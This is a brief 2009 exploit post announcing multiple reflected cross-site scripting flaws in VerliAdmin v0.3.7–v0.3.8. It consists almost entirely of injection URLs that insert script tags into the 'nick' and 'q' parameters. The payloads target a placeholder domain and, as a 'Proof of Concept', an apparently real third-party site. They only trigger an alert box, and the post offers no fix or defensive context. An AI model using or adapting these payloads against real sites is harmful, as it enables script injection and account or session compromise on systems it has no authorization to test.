VerliAdmin- v0.3.7 - v0.3.8 -Multiple Cross-site Scripting Vulnerabilities http://bohyn.czechweb.cz - 5-05-2009 - Methodman - http://nemesis.te-home.net -Example: http//:verliadmin.com/index.php?q=bantest&nick="><script>alert(String.fromCharCode(88,83,83))</script> http//:verliadmin.com/index.php?nick="'/><script>alert(String.fromCharCode(88,83,83))</script> http//:verliadmin.com/index.php?q="'/><script>alert(String.fromCharCode(88,83,83))</script> http//:verliadmin.com/index.php?"'/><script>alert(String.fromCharCode(88,83,83))</script> -Proof of Concept: http://alfa.hub.lv/alfa/index.php?q=bantest&nick="><script>alert(String.fromCharCode(88,83,83))</script> http://alfa.hub.lv/alfa/index.php?nick="'/><script>alert(String.fromCharCode(88,83,83))</script> http://alfa.hub.lv/alfa/index.php?q="'/><script>alert(String.fromCharCode(88,83,83))</script> http://alfa.hub.lv/alfa/index.php?"'/><script>alert(String.fromCharCode(88,83,83))</script> /teamelite 2009